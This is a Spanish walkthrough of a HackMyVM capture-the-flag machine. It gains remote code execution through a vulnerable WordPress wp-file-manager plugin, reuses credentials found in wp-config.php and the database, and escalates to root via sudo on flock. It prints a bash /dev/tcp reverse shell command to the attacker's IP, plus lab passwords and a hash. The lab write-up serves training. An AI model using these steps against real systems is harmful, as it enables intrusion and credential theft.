Para poder hacer uso de esta máquina primero debemos descargar el archivo y así poder desplegar el laboratorio.
Descargamos el archivo de la página https://hackmyvm.eu/machines/
Al momento de descargar esta máquina y descomprimir el archivo, en este caso observamos un archivo.
Para desplegar el laboratorio usaremos nuestro hipervisor favorito e iniciamos la máquina. En caso de no observar la IP de la máquina podemos emplear arp-scan
para ver la dirección IP en nuestra red que sería la 192.168.0.13
.
Realizamos un ping a la dirección IP y podemos validar que tenemos alcance.
Empezamos con un escaneo de puertos y podemos ver que solo tenemos el puerto 80
Ingresamos la dirección IP en el navegador y podemos observar que nos muestra la página default de Ubuntu.
Realizamos un escaneo de subdirectorios de la dirección IP y observamos que tenemos uno llamado secret
.
Al dirigirnos a ese subdirectorio vemos que tenemos un error así también que nos habla de un wordpress
.
Empezamos un escaneo del subdirectorio encontrado y vemos 3, de los cuales el que nos llama la atención es wp-content
.
Al dirigirnos en el navegador a este, vemos varias carpetas, de ellas nos llama la atención plugins
y uploads
.
Ingresamos a plugins
donde observamos que tenemos el wp-file-manager
que nos da una idea de como poder escalar.
Revisando el directorio uploads
podemos ver que tenemos el instalador con la versión 6.0
.
Buscando algún exploit para poder ejecutar un RCE vemos que exploit-db encontramos uno que abarca desde la 6.0 hasta la 6.9 del plugin que tenemos.
Como con este exploit no debemos subir ningún archivo lo ejecutamos para comprobar si podemos ejecutar sin problemas. Primero enviamos sin agregar ningún comando y podemos ver que nos da la estructura, agregamos la estructura y podemos ver que sí ejecuta correctamente.
Como podemos ejecutar comandos probaremos estableciendo una shell de manera directa. Para ello iniciamos nuestro listener.
Para establecer conexión necesitamos el comando que establezca, para evitar problemas lo enviaremos URL-encodeado.
bash -c 'bash -i >& /dev/tcp/192.168.0.61/1234 0>&1'
bash%20-c%20%22bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F192.168.0.61%2F1234%200%3E%261%22
Probamos enviando el comando, pero no tenemos respuesta. Probaremos desde la web. Revisamos desde donde se ejecuta el archivo y su nombre.
Para ejecutar de manera manual, debemos ver cuál es el parámetro, revisando el código del exploit vemos que es cmd
.
Enviamos la solicitud y tenemos respuesta.
Ahora desde la web enviamos el comando que probamos por consola y se queda cargando, es buena señal.
Regresamos a ver nuestro listener vemos que ya tenemos conexión.
Para facilitar las cosas en este punto migraremos la shell porque en este caso nos ocurre que no podemos hacer uso de las flechas o subir y bajar al comando anterior. Para ello primero hacemos
script /dev/null -c bash
luego un ctrl+z, regresaremos a nuestra consola seguido de ello ingresaremos los siguientes comandos para recuperar la shell usamos stty
stty raw -echo; fg
reset xterm
para obtener más características usamos
export TERM=xterm
para la variable de entorno
echo $SHELL
y para pasar a bash usamos
export SHELL=/bin/bash
para establecer el tamaño adecuado de la consola ingresamos
stty rows 59 cols 236
de esta manera ya nos podemos mover con más libertad en la consola. Revisando los archivos tenemos que en el directorio web vemos el wp-config.php
que en muchas ocasiones suele tener credenciales que podemos reusar.
Revisando nos recuerda que también podemos buscar información en otro archivo, de casualidad observamos que hay un texto comentado que no tiene sentido que esté en ese lugar.
idrinksomewater
Al dirigirnos a ese directorio y abrir el archivo vemos que tenemos un nombre de usuario y password para conectarnos a una base de datos.
wordpress:myfuckingpassword
Probamos las credenciales y vemos que accedemos con éxito.
mysql -u wordpress -p'myfuckingpassword'
Verificando la base de datos, tenemos solo un usuario admin del cual copiamos su password.
admin:$P$BHnEZ1NkYBczrPj8rCx2TzLHmPIh6X1
Probamos rompiendo el hash, pero la credencial no se encuentra en el diccionario.
Recordemos que encontramos una palabra que no tenía sentido que estuviera en wp-config.php
. La emplearemos como credencial y tenemos suerte de que es la correcta.
adrian:idrinksomewater
Como ya estamos dentro, realizamos un sudo -l
y podemos ver que tenemos el binario flock
con todos los permisos.
Buscando en la página de GTFOBins vemos como podemos explotar el binario para escalar privilegios.
Ejecutamos el binario como nos indica y obtenemos el root. De esta manera culminando esta máquina.